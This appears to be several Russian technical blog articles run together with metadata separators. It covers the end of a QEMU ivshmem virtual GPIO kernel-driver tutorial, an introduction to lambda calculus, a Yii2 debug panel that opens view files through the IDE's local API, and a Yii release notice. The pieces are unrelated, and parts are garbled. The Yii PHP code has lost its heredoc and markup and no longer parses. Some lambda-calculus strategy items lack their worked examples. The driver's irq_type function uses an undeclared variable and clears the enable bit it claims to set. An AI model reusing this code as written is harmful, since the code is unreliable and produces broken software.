h>> Adding parameters to qemu launch command line += -device ivshmem,shm=ivshmem,size=1
g>> # ls /sys/class/gpio/
export unexport
g>> # insmod virtual_gpio_basic.ko
PCI: enabling device 0000:00:0d.0 (0100 -> 0102)
ivshmem_gpio 0000:00:0d.0: data_mmio iomap base = 0xc8a00000
ivshmem_gpio 0000:00:0d.0: data_mmio_start = 0x60000000 data_mmio_len = 1048576
ivshmem_gpio 0000:00:0d.0: regs iomap base = 0xc88e6400, irq = 27
ivshmem_gpio 0000:00:0d.0: regs_addr_start = 0x50002400 regs_len = 256
g>> # ls /sys/class/gpio/
export gpiochip248 unexport
g>> # cat /sys/class/gpio/gpiochip248/label
0000:00:0d.0
g>> # cat /sys/class/gpio/gpiochip248/base
248
g>> # cat /sys/class/gpio/gpiochip248/ngpio
8
g>> # rmmod virtual_gpio_basic
Unregister virtual_gpio device.
g>> # insmod virtual_gpio_basic.ko gpiobase=0
g>> # ls /sys/class/gpio/
export gpiochip0 unexport
g>> # echo 0 > /sys/class/gpio/export
g>> # echo high > /sys/class/gpio/gpio0/direction
```
Простая проверка:
```
h>> $ xxd -b -l 2 -c 2 /dev/shm/ivshmem
0000000: 00000001 00000001 ..
```
DATA выставлен, OUTPUTEN выставлен.
Добавляем прерывания
--------------------
### Разметка регистров прерываний и базовая обработка прерывания
*Примечание: В виртуальном драйвере рассматриваются только EDGEDETECT\_RISE и EDGEDETECT\_FALL.*
*Примечание: Пожалуйста, используйте только qemu версии старше 2.5.0 или qemu-linaro. Поддежрка прерываний ivshmem сломана в 2.5.0 или просто не работает в некоторых версиях младше 2.5.0. Если использование 2.5.0 необходимо воспользуйтесь патчем для 2.5.0 ( [<http://lists.gnu.org/archive/html/qemu-stable/2015-12/msg00034.html>](http://lists.gnu.org/archive/html/qemu-stable/2015-12/msg00034.html) ).*
Добавляем следующие регистры:
| Имя регистра | Смещение | Имя в драйвере | Описание |
| --- | --- | --- | --- |
| INTERRUPT\_EN | 0x01 | VIRTUAL\_GPIO\_INT\_EN | Включает прерывания по заданному входу |
| INTERRUPT\_ST | 0x02 | VIRTUAL\_GPIO\_INT\_ST | Регистр состояния прерывания |
| INTERRUPT\_EOI | 0x03 | VIRTUAL\_GPIO\_INT\_EOI | Регистр для оповещения об обработанном прерывании |
| EDGEDETECT\_RISE | 0x04 | VIRTUAL\_GPIO\_RISING | Включение/выключения прерывания для входа по переднему фронту |
| EDGEDETECT\_FALL | 0x05 | VIRTUAL\_GPIO\_FALLING | Включение/выключения прерывания для входа по заднему фронту |
| LEVELDETECT\_HIGH | | NC | NOT CONNECTED |
| LEVELDETECT\_LOW | | NC | NOT CONNECTED |
За обработку прерывания от pci шины отвечает следующая функция, на данный момент её роль заключается всего лишь в уведомлении об обработанном прерывании:
**static irqreturn\_t virtual\_gpio\_interrupt(int irq, void \*data)**
```
static irqreturn_t virtual_gpio_interrupt(int irq, void *data)
{
u32 status;
struct virtual_gpio *vg = (struct virtual_gpio *)data;
status = readl(vg->regs_base_addr + IntrStatus);
if (!status || (status == 0xFFFFFFFF))
return IRQ_NONE;
printk(KERN_INFO "VGPIO: interrupt (status = 0x%04x)\n", status);
return IRQ_HANDLED;
}
```
Для данного этапа потребуется внешний демон, которой включен в стандартную поставку qemu — ivshmem-server. В строку запуска qemu добавляется параметр -chardev путь к UNIX сокету, обмен сообщениями между запущенными экзеплярами qemu, ivshmem-server и ivshmem-client реализован с помощью механизма eventfd.
```
h>> $ ivshmem-server -v -F -p ivshmem.pid -l 1M
# запускаем qemu с новыми параметрами
h>> $ += -chardev socket,path=/tmp/ivshmem_socket,id=ivshmemid -device ivshmem,chardev=ivshmemid,size=1,msi=off
g>> # echo 8 > /proc/sys/kernel/printk
g>> # insmod virtual_gpio_basic.ko
h>> $ ivshmem-client
# каждый экземпляр qemu ivshmem региструет себя в ivshmem-server и ему присваивается уникальный id
cmd> int 0 0
# Примечание: листинг доступных команд можно посмотреть командой cmd> help
# Вывод гостевой машины:
g>> VGPIO: interrupt (status = 0x0001)
```
### irq\_chip и концепция chained\_interrupt
Мы не будем углубляться в детали, данная тема хорошо раскрыта в [первом патче представившим irq\_chip](https://github.com/torvalds/linux/commit/d1bef4ed5faf7d9872337b33c4269e45ae1bf960) , документации ядра и книге “Professional Linux Kernel Architecture” (к настоящему моменту она устарела, но irq\_chip это так же не новая вещь).
На данный момент для нас является главным тот факт, что порты GPIO предоставляющие прерывания каскадируемые от родительского контроллера прерываний обычная практика в дни современного линукса.
Вот почему часть драйвера GPIO отвечающего за прерывания использует **irq\_chip**. Другими словами такой драйвер использует две подсистемы одновременно: **gpio\_chip** и **irq\_chip**.
Беглый взгляд на подсистему irq дает нам следующую картину:
> **High-Level Interrupt Service Routines (ISRs)** — Выполняет всю необходимую работу по обслуживанию прерывания на драйвере устройства. Например, если прерывание используется для индикации доступных для чтения новых данных, работа ISR будет заключаться в копировании данных в соответствующее место.
>
>
>
> **Interrupt Flow Handling** — Данная подсистема отвечает за особенности в реализации обработок прерываний, таких как срабатывание по уровню сигнала (level) или по фронту (edge).
>
>
>
> Срабатывание по фронту (Edge-triggering) происходит при определении, что на линии произошло изменение потенциала. Срабатывание по уровню (Level-triggering), определяется как определенное значение потенциала, при этом изменение потенциала не играет роли.
>
>
>
> С точки зрения ядра, срабатывание по уровню более сложный случай, так как, после в начале каждого прерывания его необходимо маскировать.
>
>
>
> **Chip-Level Hardware Encapsulation** — Используется для инкапсуляции особенностей реализации работы с аппаратной частью. Данную подсистему можно рассматривать как разновидность “драйвера устройства” для контроллеров прерываний.
Как мы видим ядро берет на себя управление обработкой цепочки прерывания и разницу в реализации типов (по фронту и по уровню), если предоставить соответствующую инфраструктуру.
### IRQ Domains
Подсистема [IRQ Domain](https://www.kernel.org/doc/Documentation/IRQ-domain.txt) появившееся в патче [irq: add irq\_domain translation infrastructure](https://github.com/torvalds/linux/commit/08a543ad33fc188650801bd36eed4ffe272643e1) позволила отделить локальные для контроллера номера прерываний от номеров прерываний в ядре, предоставив общий массив номеров прерываний. Цитируя официальную документацию: **«Сегодня номер IRQ, это просто номер»**.
До данного обновления аппаратные номера отображались на номерами ядра как 1:1, а каскадирование не поддерживалось. Под аппаратными номерами, понимается локальные для контроллера номера прерывания, которые в нашем случае совпадают с локальными номерами GPIO.
В IRQ Domain существуют следующие типы отображения:
* Линейное
* В виде дерева
* И тип "No map" (Без отображения)
Поскольку наш вектор прерываний достаточно мал, и у нас точно нет интереса в "No map" отображении, наше отображение линейно, фактически номера сопоставляются 1:1 со смещением, разница со старым подходом состоит в том что за присвоение номеров irq и за вычисление смещения отвечает ядро, при этом гарантируется непрерывность выделяемого диапазона.
В каждую функцию интерфейса irq\_chip передается указатель на структуру **struct irq\_data**, где **irq\_data->irq** это номер прерывания в ядре linux, a **irq\_data->hwirq** это наш локальный номер прерывания в рамках драйвера. Так же в **struct irq\_data** передается указатель на нашу структуру **struct virtual\_gpio**, что неудивительно.
### Связывание irq\_chip и gpio\_chip
Если бы мы ориентировались на более младшие версии ядра, нам пришлось бы воспользоваться функцией **irq\_domain\_add\_simple** для отображения наших номер, но с версии 3.15 в патче [gpio: add IRQ chip helpers in gpiolib patch](https://github.com/torvalds/linux/commit/1425052097b53de841e064dc190a9009480c208c) нет необходимости напрямую использовать интерфейс IRQ Domain.
Поэтому вместо прямого использования интерфейса IRQ Domain и предоставления инфраструктуры для отображения локальных номеров на глобальные (**.map()** ops), мы воспользуемся функциями **gpiochip\_irqchip\_add** и **gpiochip\_set\_chained\_irqchip** (зависят от параметра GPIOLIB\_IRQCHIP Kconfig).
Прекрасным примером использования и простоты в применении, является драйвер [gpio-pl061](http://lxr.free-electrons.com/diff/drivers/gpio/gpio-pl061.c?v=3.14;diffvar=v;diffval=3.15).
Привязываем наш **irq\_chip** к уже существующему **gpio\_chip**:
```
gpiochip_irqchip_add(&vg->chip,
&virtual_gpio_irq_chip,
0,
handle_edge_irq,
IRQ_TYPE_NONE);
```
**handle\_edge\_irq** — это один из встроенных обработчиков потока, который берет на себя управление цепочкой прерывания по фронтам.
*Примечание: прерывания по фронтам является наиболее распространенным. Главное отличие от прерываний по уровню заключается как раз в управлении цепочкой, прерывание по уровню маскируется в ядре сразу после получения.*
```
gpiochip_set_chained_irqchip(&vg->chip,
&virtual_gpio_irq_chip,
pdev->irq,
NULL);
```
Вызовом функции **gpiochip\_set\_chained\_irqchip** мы сообщаем ядру, что наш **irq\_chip** использует прерывание от PCI шины и наши прерывания каскадируются от **pdev->irq**.
Доработаем наш обработчик, чтобы он генерировал прерывания в зависимости от состояния **VIRTUAL\_GPIO\_INT\_ST**:
```
pending = vgread(VIRTUAL_GPIO_INT_ST);
/* check if irq is really raised */
if(pending)
{
for_each_set_bit(i, &pending, VIRTUAL_GPIO_NR_GPIOS)
generic_handle_irq(irq_find_mapping(vg->chip.irqdomain, i));
}
```
**irq\_find\_mapping** — вспомогательная функция для трансляции локального номера входа в глобальный номер прерывания.
### Собираем все вместе
Прежде всего, отметим, что интерфейс irq\_chip нашего драйвера, выглядит следующим образом:
```
static struct irq_chip virtual_gpio_irq_chip = {
.name = "GPIO",
.irq_ack = virtual_gpio_irq_ack,
.irq_mask = virtual_gpio_irq_mask,
.irq_unmask = virtual_gpio_irq_unmask,
.irq_set_type = virtual_gpio_irq_type,
};
```
Функция **ack()** всегда тесна связана с аппаратной спецификой контроллера. Некоторым устройствам, например требуется подтверждение обработки запроса прерывания, прежде чем могут быть обслужены последующие запросы.
**static void virtual\_gpio\_irq\_ack(struct irq\_data \*d)**
```
static void virtual_gpio_irq_ack(struct irq_data *d)
{
unsigned long flags;
u8 nr = d->hwirq;
u8 mask = 1 << nr;
struct gpio_chip *gc = irq_data_get_irq_chip_data(d);
struct virtual_gpio *vg = to_virtual_gpio(gc);
spin_lock_irqsave(&vg->lock, flags);
vgwrite(mask, VIRTUAL_GPIO_INT_EOI);
spin_unlock_irqrestore(&vg->lock, flags);
}
```
В нашем случае в программе vg\_get\_set – используется достаточно грубая эмуляция регистра eoi. После выставления флага статуса прерывания, в цикле постоянно опрашивается eoi регистр. Когда бит входа уведомления о прерывании выставляется драйвером, происходит обнуление регистра eoi и снятие бита статуса прерывания на входе.
Маскирование и демаскирование производится записью соответствующего значения в регистр **INTERRUPT\_EN**.
Маскирование прерывания:
**static void virtual\_gpio\_irq\_mask(struct irq\_data \*d)**
```
static void virtual_gpio_irq_mask(struct irq_data *d)
{
u8 mask;
unsigned long flags;
u8 nr = d->hwirq;
struct gpio_chip *gc = irq_data_get_irq_chip_data(d);
struct virtual_gpio *vg = to_virtual_gpio(gc);
spin_lock_irqsave(&vg->lock, flags);
mask = vgread(VIRTUAL_GPIO_INT_EN);
mask &= ~(1 << nr);
vgwrite(mask, VIRTUAL_GPIO_INT_EN);
spin_unlock_irqrestore(&vg->lock, flags);
}
```
Демаскирование прерывания:
**static void virtual\_gpio\_irq\_unmask(struct irq\_data \*d)**
```
static void virtual_gpio_irq_unmask(struct irq_data *d)
{
u8 mask;
unsigned long flags;
u8 nr = d->hwirq;
struct gpio_chip *gc = irq_data_get_irq_chip_data(d);
struct virtual_gpio *vg = to_virtual_gpio(gc);
spin_lock_irqsave(&vg->lock, flags);
mask = vgread(VIRTUAL_GPIO_INT_EN);
mask |= (1 << nr);
vgwrite(mask, VIRTUAL_GPIO_INT_EN);
spin_unlock_irqrestore(&vg->lock, flags);
}
```
**irq\_type** позволяет задать тип триггера — на текущий момент в ядре определены следующие типы:
IRQ\_TYPE\_NONE — тип не задан
IRQ\_TYPE\_EDGE\_RISING — по переднему фронту
IRQ\_TYPE\_EDGE\_FALLING — по заднему фронту
IRQ\_TYPE\_EDGE\_BOTH — по переднему и заднему фронту
IRQ\_TYPE\_LEVEL\_HIGH — по высокому уровню
IRQ\_TYPE\_LEVEL\_LOW — по низкому уровню
**static int virtual\_gpio\_irq\_type(struct irq\_data \*d, unsigned int type)**
```
static int virtual_gpio_irq_type(struct irq_data *d, unsigned int type)
{
unsigned long flags;
struct gpio_chip *gc = irq_data_get_irq_chip_data(d);
struct virtual_gpio *vg = to_virtual_gpio(gc);
u8 mask;
u8 nr = d->hwirq;
spin_lock_irqsave(&vg->lock, flags);
switch (type) {
case IRQ_TYPE_EDGE_RISING:
mask = vgread(VIRTUAL_GPIO_RISING);
mask |= (1 << nr);
vgwrite(mask, VIRTUAL_GPIO_RISING);
mask = vgread(VIRTUAL_GPIO_FALLING);
mask &= ~(1 << nr);
vgwrite(mask, VIRTUAL_GPIO_FALLING);
break;
case IRQ_TYPE_EDGE_FALLING:
mask = vgread(VIRTUAL_GPIO_FALLING);
mask |= (1 << nr);
vgwrite(mask, VIRTUAL_GPIO_FALLING);
mask = vgread(VIRTUAL_GPIO_RISING);
mask &= ~(1 << nr);
vgwrite(mask, VIRTUAL_GPIO_RISING);
break;
default:
retval = -EINVAL;
goto end;
}
/* enable interrupt */
mask = vgread(VIRTUAL_GPIO_INT_EN);
mask &= ~(1 << nr);
vgwrite(mask, VIRTUAL_GPIO_INT_EN);
end:
spin_unlock_irqrestore(&vg->lock, flags);
return retval;
}
```
Тестирование и результаты
=========================
Для тестирования передачи информации о прерываниях в user space, воспользуемся специально написанной утилитой vg\_guest\_client. Согласно документации по gpio\_sysfs, [“Если вы используете select для отслеживания событий, задайте файловый дескриптор (входа) в exceptfds”](http://lxr.free-electrons.com/source/Documentation/gpio/sysfs.txt?v=4.1#L72).
Соответствующий код:
```
FD_ZERO(&efds);
maxfd = 0;
for(i = 0; i < gpio_size; i++)
{
FD_SET(gpios[i].fd, &efds);
maxfd = (maxfd < gpios[i].fd) ? gpios[i].fd : maxfd;
}
ready = pselect(maxfd + 1, NULL, NULL, &efds, NULL, NULL);
if(ready > 0)
for(i = 0; i < gpio_size; i++)
if(FD_ISSET(gpios[i].fd, &efds)) {
read(gpios[i].fd, &value, 1);
/* для пояснений использования lseek смотрите http://lxr.free-electrons.com/source/fs/kernfs/file.c?v=4.1#L769 */
if(lseek(gpios[i].fd, 0, SEEK_SET) == -1)
perror("lseek");
printf("gpio number=%d interrupt caught\n", gpios[i].number);
}
```
Подготавливаем входы к работе при помощи **sysfs**:
```
g>> # echo 504 > /sys/class/gpio/export
g>> # echo 505 > /sys/class/gpio/export
g>> # echo 506 > /sys/class/gpio/export
g>> # echo rising > /sys/class/gpio/gpio504/edge
g>> # echo rising > /sys/class/gpio/gpio505/edge
g>> # echo rising > /sys/class/gpio/gpio506/edge
```
*Примечание: gpio на подавляющем большинстве устройств по умолчанию инициализируются как входы.*
```
# в качестве аргумента используется номер gpiochip в системе
g>> # ./vg_guest_client 504
gpio_chip:
base: 504
ngpio: 8
Added gpio 504 to watchlist.
Added gpio 505 to watchlist.
Added gpio 506 to watchlist.
Entering loop with 3 gpios.
h>> $ ./vg_get_set -p 1 -i 0
g>> gpio number=504 interrupt caught
```
Цепочка вызовов от нашего обработчика прерывания к уведомлению pselect:
```
static irqreturn_t virtual_gpio_interrupt (int irq, void *data)
int generic_handle_irq(unsigned int irq);
...
static irqreturn_t gpio_sysfs_irq(int irq, void *priv);
static inline void sysfs_notify_dirent(struct kernfs_node *kn);
void kernfs_notify(struct kernfs_node *kn);
static void kernfs_notify_workfn(struct work_struct *work);
```
Заключение
==========
Данная статья подразумевалась мной, как базовая для материала, который сложно, или даже невозможно, представить без какого-либо общего вступления. Qemu в паре с ivshmem послужили отличным и понятным базисом для этой цели. Причиной выбора этой конкретной связки является наличие вменяемой документации и прозрачности использования.
Сама работа с gpio sysfs ничем не отличается для любых устройств с реализованной поддержкой sysfs, любая инструкция по использованию GPIO может быть успешно применена к другому подобному устройству, как и задумывалось при разработке данного интерфейса. Все различия заканчиваются на уровне конкретного драйвера устройства.
Сам драйвер, несмотря на безусловную образовательную ценность, далек от идеала в контексте современного ядра. Для подобного простого драйвера стоит использовать [generic-gpio](http://lxr.free-electrons.com/source/drivers/gpio/gpio-generic.c) драйвер, созданный, чтобы избежать похожего, повторяющегося кода для mmio gpio драйверов, использование которого, правда, не так очевидно. Обработку прерываний можно было бы сделать более элегантной, а значения смещений регистров лучше хранить в структуре драйвера.
Тем не менее, взяв в качестве основы данный драйвер, следующие темы могут быть раскрыты и объяснены:
* Интеграция с подсистемой Device Tree и использование в качестве источника прерываний
* Использование драйвера generic-gpio для упрощения разработки mmio gpio драйверов
* Реализация на базе нетипичных устройств, например GPIO на АЦП
* Специальные драйвера основанные на gpio — кнопки, диоды, питание и сброс
Так же нельзя упускать из виду последние изменения в **gpiolib** — **sysfs gpio** теперь является устаревшей. Новый основанный на **ioctl** интерфейс для **gpiolib** на пути становления как новый стандарт для общения с GPIO. Но младшие версии еще долго будут использоваться, к тому же никто не собирается на данный момент убирать из ядра старый интерфейс. У меня например до сих пор есть устройства успешно работающие на версии ядра 2.6.34.
Список материалов:
1. [<http://nairobi-embedded.org/category/device-drivers.html>](http://nairobi-embedded.org/category/device-drivers.html) [Siro Mugabi]
2. [<http://lxr.free-electrons.com/source>](http://lxr.free-electrons.com/source)
3. Professional Linux Kernel Architecture [Wolfgang Mauerer]
4. LDD3 [Jonathan Corbet, Alessandro Rubini, and Greg Kroah-Hartman]
Материалы рекомендованные к дополнительному чтению:
1. [<http://derekmolloy.ie/writing-a-linux-kernel-module-part-1-introduction/>](http://derekmolloy.ie/writing-a-linux-kernel-module-part-1-introduction/) (все три части)
2. [<https://developer.ridgerun.com/wiki/index.php?title=Gpio-int-test.c>](https://developer.ridgerun.com/wiki/index.php?title=Gpio-int-test.c)
3. [<http://www.assert.cc/2015/01/03/selects-exceptional-conditions.html>](http://www.assert.cc/2015/01/03/selects-exceptional-conditions.html)
Исходные коды, Makefile и README:
[<https://github.com/maquefel/virtual_gpio_basic>](https://github.com/maquefel/virtual_gpio_basic) | https://habr.com/ru/post/303060/ | null | ru | null |
# λ-исчисление. Часть первая: история и теория
*Идею, короткий план и ссылки на основные источники для этой статьи мне подал хабраюзер [z6Dabrata](https://habrahabr.ru/users/z6dabrata/), за что ему огромнейшее спасибо.*
*UPD: в текст внесены некоторые изменения с целью сделать его более понятным. Смысловая составляющая осталась прежней.*
#### Вступление
> Возможно, у этой системы найдутся приложения не только
>
> в роли логического исчисления. (*Алонзо Чёрч, 1932*)
Вообще говоря, лямбда-исчисление не относится к предметам, которые «должен знать каждый уважающий себя программист». Это такая теоретическая штука, изучение которой необходимо, когда вы собираетесь заняться исследованием систем типов или хотите создать свой функциональный язык программирования. Тем не менее, если у вас есть желание разобраться в том, что лежит в основе Haskell, ML и им подобных, «сдвинуть точку сборки» на написание кода или просто расширить свой кругозор, то прошу под кат.
Начнём мы с традиционного (но краткого) экскурса в историю. В 30-х годах прошлого века перед математиками встала так называемая [проблема разрешения](http://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%BE%D0%B1%D0%BB%D0%B5%D0%BC%D0%B0_%D1%80%D0%B0%D0%B7%D1%80%D0%B5%D1%88%D0%B5%D0%BD%D0%B8%D1%8F) (*Entscheidungsproblem*), сформулированная Давидом Гильбертом. Суть её в том, что вот есть у нас некий формальный язык, на котором можно написать какое-либо утверждение. Существует ли алгоритм, за конечное число шагов определяющий его истинность или ложность? Ответ был найден двумя великими учёными того времени [Алонзо Чёрчем](http://ru.wikipedia.org/wiki/%D0%90%D0%BB%D0%BE%D0%BD%D0%B7%D0%BE_%D0%A7%D1%91%D1%80%D1%87) и [Аланом Тьюрингом](http://ru.wikipedia.org/wiki/%D0%90%D0%BB%D0%B0%D0%BD_%D0%A2%D1%8C%D1%8E%D1%80%D0%B8%D0%BD%D0%B3). Они показали (первый — с помощью изобретённого им λ-исчисления, а второй — теории машины Тьюринга), что для арифметики такого алгоритма не существует в принципе, т.е. Entscheidungsproblem в общем случае неразрешима.
Так лямбда-исчисление впервые громко заявило о себе, но ещё пару десятков лет продолжало быть достоянием математической логики. Пока в середине 60-х [Питер Ландин](http://en.wikipedia.org/wiki/Peter_Landin) не отметил, что сложный язык программирования проще изучать, сформулировав его ядро в виде небольшого базового исчисления, выражающего самые существенные механизмы языка и дополненного набором удобных производных форм, поведение которых можно выразить путем перевода на язык базового исчисления. В качестве такой основы Ландин использовал лямбда-исчисление Чёрча. И всё заверте…
#### λ-исчисление: основные понятия
##### Синтаксис
В основе лямбда-исчисления лежит понятие, известное ныне каждому программисту, — анонимная функция. В нём нет встроенных констант, элементарных операторов, чисел, арифметических операций, условных выражений, циклов и т. п. — только функции, ~~только хардкор~~. Потому что лямбда-исчисление — это **не** язык программирования, а формальный аппарат, способный определить в своих терминах любую языковую конструкцию или алгоритм. В этом смысле оно созвучно машине Тьюринга, только соответствует функциональной парадигме, а не императивной.
Мы с вами рассмотрим его наиболее простую форму: чистое нетипизированное лямбда-исчисление, и вот что конкретно будет в нашем распоряжении.
**Термы**:
| | |
| --- | --- |
| переменная: | `x` |
| лямбда-абстракция (анонимная функция): | `λx.t`, где `x` — аргумент функции, `t` — её тело. |
| применение функции (аппликация): | `f x`, где `f` — функция, `x` — подставляемое в неё значение аргумента |
**Соглашения о приоритете операций**:
* Применение функции левоассоциативно. Т.е. `s t u` — это тоже самое, что `(s t) u`
* Аппликация (применение или вызов функции по отношению к заданному значению) забирает себе всё, до чего дотянется. Т.е. `λx. λy. x y x` означает то же самое, что `λx. (λy. ((x y) x))`
* Скобки явно указывают группировку действий.
Может показаться, будто нам нужны какие-то специальные механизмы для функций с несколькими аргументами, но на самом деле это не так. Действительно, в мире чистого лямбда-исчисления возвращаемое функцией значение тоже может быть функцией. Следовательно, мы можем применить первоначальную функцию только к одному её аргументу, «заморозив» прочие. В результате получим новую функцию от «хвоста» аргументов, к которой применим предыдущее рассуждение. Такая операция называется *каррированием* (в честь того самого [Хаскелла Карри](http://ru.wikipedia.org/wiki/%D0%9A%D0%B0%D1%80%D1%80%D0%B8,_%D0%A5%D0%B0%D1%81%D0%BA%D0%B5%D0%BB%D0%BB)). Выглядеть это будет примерно так:
| | |
| --- | --- |
| `f = λx.λy.t` | Функция с двумя аргументами `x` и `y` и телом `t` |
| `f v w` | Подставляем в `f` значения `v` и `w` |
| `(f v) w` | Эта запись аналогична предыдущей, но скобки явно указывают на последовательность подстановки |
| `((λy.[x → v]t) w)` | Подставили `v` вместо `x`. `[x → v]t` означает «тело `t`, в котором все вхождения `x` заменены на `v`» |
| `[y → w][x → v]t` | Подставили `w` вместо `y`. Преобразование закончено. |
И напоследок несколько слов об *области видимости*. Переменная `x` называется *связанной*, если она находится в теле `t` λ-абстракции `λx.t`. Если же `x` не связана какой-либо вышележащей абстракцией, то её называют *свободной*. Например, вхождения `x` в `x y` и `λy.x y` свободны, а вхождения `x` в `λx.x` и `λz.λx.λy.x(y z)` связаны. В `(λx.x)x` первое вхождение `x` связано, а второе свободно. Если все переменные в терме связаны, то его называют *замкнутым*, или *комбинатором*. Мы с вами будем использовать следующий простейший комбинатор (*функцию тождества*): `id = λx.x`. Она не выполняет никаких действий, а просто возвращает без изменений свой аргумент.
##### Процесс вычисления
Рассмотрим следующий терм-применение:
`(λx.t) y`
Его левая часть — `(λx.t)` — это функция с одним аргументом `x` и телом `t`. Каждый шаг вычисления будет заключаться в замене всех вхождений переменной `x` внутри `t` на `y`. Терм-применение такого вида носит имя *редекса* (от *reducible expression*, *redex* — «сокращаемое выражение»), а операция переписывания редекса в соответствии с указанным правилом называется *бета-редукцией*.
Существует несколько стратегий выбора редекса для очередного шага вычисления. Рассматривать их мы будем на примере следующего терма:
`(λx.x) ((λx.x) (λz. (λx.x) z))`,
который для простоты можно переписать как
`id (id (λz. id z))`
(напомним, что `id` — это функция тождества вида `λx.x`)
В этом терме содержится три редекса:
1. **Полная β-редукция**. В этом случае каждый раз редекс внутри вычисляемого терма выбирается произвольным образом. Т.е. наш пример может быть вычислен от внутреннего редекса к внешнему:
2. **Нормальный порядок вычислений**. Первым всегда сокращается самый левый, самый внешний редекс.
3. **Вызов по имени**. Порядок вычислений в этой стратегии аналогичен предыдущей, но к нему добавляется запрет на проведение сокращений внутри абстракции. Т.е. в нашем примере мы останавливаемся на предпоследнем шаге:
Оптимизированная версия такой стратегии (*вызов по необходимости*) используется Haskell. Это так называемые «ленивые» вычисления.
4. **Вызов по значению**. Здесь сокращение начинается с самого левого (внешнего) редекса, у которого в правой части стоит *значение* — замкнутый терм, который нельзя вычислить далее.
Для чистого лямбда-исчисления таким термом будет λ-абстракция (функция), а в более богатых исчислениях это могут быть константы, строки, списки и т.п. Данная стратегия используется в большинстве языков программирования, когда сначала вычисляются все аргументы, а затем все вместе подставляются в функцию.
Если в терме больше нет редексов, то говорят, что он *вычислен*, или находится в *нормальной форме*. Не каждый терм имеет нормальную форму, например `(λx.xx)(λx.xx)` на каждом шаге вычисления будет порождать самоё себя (здесь первая скобка — анонимная функция, вторая — подставляемое в неё на место `x` значение).
Недостатком стратегии вызова по значению является то, что она может зациклиться и не найти существующее нормальное значение терма. Рассмотрим для примера выражение
`(λx.λy. x) z ((λx.x x)(λx.x x))`
Этот терм имеет нормальную форму `z` несмотря на то, что его второй аргумент такой формой не обладает. На её-то вычислении и зависнет стратегия вызова по значению, в то время как стратегия вызова по имени начнёт с самого внешнего терма и там определит, что второй аргумент не нужен в принципе. Вывод: если у редекса есть нормальная форма, то «ленивая» стратегия её обязательно найдёт.
Ещё одна тонкость связана с именованием переменных. Например, терм `(λx.λy.x)y` после подстановки вычислится в `λy.y`. Т.е. из-за совпадения имён переменных мы получим функцию тождества там, где её изначально не предполагалось. Действительно, назови мы локальную переменную не `y`, а `z` — первоначальный терм имел бы вид`(λx.λz.x)y` и после редукции выглядел бы как `λz.y`. Для исключения неоднозначностей такого рода надо чётко отслеживать, чтобы все свободные переменные из начального терма после подстановки оставались свободными. С этой целью используют *α-конверсию* — переименование переменной в абстракции с целью исключения конфликтов имён.
Так же бывает, что у нас есть абстракция `λx.t x`, причём `x` свободных вхождений в тело `t` не имеет. В этом случае данное выражение будет эквивалентно просто `t`. Такое преобразование называется *η-конверсией*.
На этом закончим вводную в лямбда-исчисление. В [следующей статье](http://habrahabr.ru/post/215991/) мы займёмся тем, ради чего всё и затевалось: программированием на λ-исчислении.
##### Список источников
1. [«What is Lambda Calculus and should you care?», Erkki Lindpere](http://zeroturnaround.com/rebellabs/what-is-lambda-calculus-and-why-should-you-care/)
2. [«Types and Programming Languages», Benjamin Pierce](http://www.cis.upenn.edu/~bcpierce/tapl/)
3. [Вики-конспект «Лямбда-исчисление»](http://neerc.ifmo.ru/wiki/index.php?title=%D0%9B%D1%8F%D0%BC%D0%B1%D0%B4%D0%B0-%D0%B8%D1%81%D1%87%D0%B8%D1%81%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5)
4. [«Учебник по Haskell», Антон Холомьёв](http://anton-k.github.io/ru-haskell-book/book/14.html)
5. [Лекции по функциональному программированию](http://pv.bstu.ru/flp/fpLectures.pdf) | https://habr.com/ru/post/215807/ | null | ru | null |
# Пример создания практичной Debug панели в Yii
Написать свою Debug-панель в Yii очень просто. Поэтому рассмотрим чуть практичную (с вызовом api PHPStorm) панель просмотра вьюшек.
Есть подробно разжеванная документация, c примером вывода списка вьюшек. Давайте ее приведем в более практичный вид.
1. Уберем дубликаты.
2. Разделим въюшки для layouts, и основные.
3. Сделаем ссылку на Idea API.
Как известно когда мы кликаем на ссылку отображаемую функцией getSummary в «мини панели», отображается панель с контентом переданным функцией **getDetail**. Для краткости, ее код и приведу:
```
public function getDetail()
{
$rootDir = Yii::getAlias('@app');
$rootDir = dirname($rootDir); //remove last dir
$viewsNormal = [];
$viewsLayout = [];
//$this->data = array_unique($this->data); //if delete duplicates
foreach ($this->data as $view) {
$viewFile = str_replace($rootDir.DIRECTORY_SEPARATOR, '', $view);
if (strpos($viewFile, 'layouts') !== false) {
$viewsLayout[$viewFile]++;
} else {
$viewsNormal[$viewFile]++;
}
}
//Display
$js = <<$js";
$content .= 'Views:';
foreach ($viewsNormal as $v => $count) {
$content .= '2. ' . $this->link2IDE($v) . ($count > 1 ? " ($count)" : '') . '
';
}
$content .= '
';
$content .= '
---
on layout:';
foreach ($viewsLayout as $v => $count) {
$content .= '2. ' . $this->link2IDE($v) . ($count > 1 ? " ($count)" : '') . '
';
}
$content .= '
';
return $content;
}
```
Если сделать «стандартную ссылку»(вариант 1), открывается новое пустое окно в браузере. Поэтому сделана отдельная JS функция.
```
private function link2IDE($linkFile) {
//Variant 1
//$port = '63342';
//return Html::a($linkFile, "http://localhost:$port/api/file?file=$linkFile&line=1", ['target' => '_top']);
//Variant 2
return "[$linkFile](#)";
}
```
Если ~~вы не параноик~~ постоянно выскакивающий запрос на разрешение напрягает, нужно включить галочку.
В итоге вот такая форма получилась, при клике на ссылку открывается первая строка въюшки в IDE(intellij, у меня IDEA, в PHPStorm тоже должно работать):
Предваряя возможные вопросы:
* Если порт занят (например RubyMine крутится): надо поменять порт в настройках IDE(картинка выше), и в коде.
* Код отображения специально приведен в одной функции, для упрощения примера. Ее можно (и нужно) вынести в отдельную въюшку как обычно:
```
return Yii::$app->view->render('@app/components/panels/views/auc/detail', [
'data' => $this->data,
]);
```
* И да, я знаю что есть [такая штука.](https://github.com/yiisoft/yii2-debug/blob/master/docs/guide/installation.md#extra-configuration-for-opening-in-ides) Но судя по коменту уважаемого [SamDark](https://habrahabr.ru/users/samdark/), когда пилили эту штуку, они не знали о api.
* Если знаете куда переходить, то можно указывать строку и столбец явно: &line=97&column=52
**PS:** Сами мы не местные, поэтому прошу ~~«профффтить и поннннять»~~, написать в личку об ошибках. | https://habr.com/ru/post/317562/ | null | ru | null |
# Yii 2.0.13
Состоялся релиз PHP фреймворка Yii версии 2.0.13. В него вошли более [90 улучшений и исправлений](https://github.com/yiisoft/yii2/blob/2.0.13/framework/CHANGELOG.md).
